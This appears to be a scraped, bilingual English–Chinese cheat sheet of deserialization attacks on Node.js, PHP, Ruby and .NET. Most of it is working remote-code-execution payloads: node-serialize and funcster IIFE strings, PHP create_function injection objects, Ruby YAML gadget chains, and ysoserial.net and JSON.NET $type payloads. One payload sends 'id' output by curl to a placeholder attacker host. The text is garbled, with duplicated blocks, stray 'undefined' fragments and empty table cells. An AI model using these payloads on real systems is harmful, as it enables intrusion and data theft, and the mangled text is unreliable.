{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}funcster
funcster
javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}PHP create_function + Deserialization Combo
PHP create_function + 反序列化组合利用
php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}11. RUBY DESERIALIZATION
11. Ruby反序列化
Marshal
Marshal
ruby
undefinedruby
undefinedRuby's native serialization. Dangerous when deserializing untrusted data.
Ruby's native serialization. Dangerous when deserializing untrusted data.
Detection: Binary data starting with \x04\x08
Detection: Binary data starting with \x04\x08
One-liner gadget verification (hex-encoded payload):
One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
undefinedpayload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
undefinedYAML (CVE-rich surface)
YAML(高CVE风险面)
ruby
undefinedruby
undefinedYAML.load is DANGEROUS — equivalent to eval for Ruby objects
YAML.load is DANGEROUS — equivalent to eval for Ruby objects
Safe alternative: YAML.safe_load
Safe alternative: YAML.safe_load
Ruby <= 2.7.2: Gem::Requirement chain
Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source uri: "| id"
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source uri: "| id"
Ruby 2.x-3.x: Gem::Installer chain (more complex)
Ruby 2.x-3.x: Gem::Installer chain (more complex)
Triggers: git_set → Kernel#system
Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::Installer
i: x
(Full chain available in ysoserial-ruby / blind-ruby-deserialization)
(Full chain available in ysoserial-ruby / blind-ruby-deserialization)
Universal detection: supply YAML that triggers DNS callback
Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
**Tools**: `elttam/ruby-deserialization`, `mbechler/ysoserial` (Ruby variant)
------ !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
**工具**:`elttam/ruby-deserialization`、`mbechler/ysoserial`(Ruby变体)
---12. .NET DESERIALIZATION
12. .NET反序列化
Fingerprinting
指纹识别
| Magic Bytes | Format |
|---|---|
| BinaryFormatter |
| ViewState (ObjectStateFormatter) |
| XmlSerializer / DataContractSerializer |
JSON with | JSON.NET (TypeNameHandling enabled) |
| 魔数 | 格式 |
|---|---|
| BinaryFormatter |
| ViewState(ObjectStateFormatter) |
| XmlSerializer / DataContractSerializer |
带 | JSON.NET(TypeNameHandling启用) |
BinaryFormatter (most dangerous)
BinaryFormatter(最危险)
undefinedundefinedAlways dangerous when deserializing untrusted data
Always dangerous when deserializing untrusted data
Tool: ysoserial.net
Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
undefinedysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
undefinedViewState (ASP.NET)
ViewState(ASP.NET)
undefinedundefinedIf __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
Leak machineKey from web.config (via LFI/backup) → forge ViewState
Leak machineKey from web.config (via LFI/backup) → forge ViewState
undefinedundefinedXmlSerializer + ObjectDataProvider
XmlSerializer + ObjectDataProvider
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>JSON.NET ($type abuse)
JSON.NET($type滥用)
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}Vulnerable when in JSON deserialization settings.
TypeNameHandling != Nonejson
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}当JSON反序列化设置中时存在漏洞。
TypeNameHandling != NoneTools
工具
- — primary .NET gadget chain generator
pwntester/ysoserial.net - — decrypt/forge ViewState with known machineKey
NotSoSecure/Blacklist3r
- — 主流.NET gadget链生成器
pwntester/ysoserial.net - — 使用已知machineKey解密/伪造ViewState
NotSoSecure/Blacklist3r
13. NODE.JS DESERIALIZATION
13. NODE.JS反序列化
node-serialize (IIFE injection)
node-serialize(IIFE注入)
javascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserializationjavascript
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserializationfuncster
funcster
javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}javascript
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}PHP create_function + Deserialization Combo
PHP create_function + 反序列化组合利用
php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}php
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}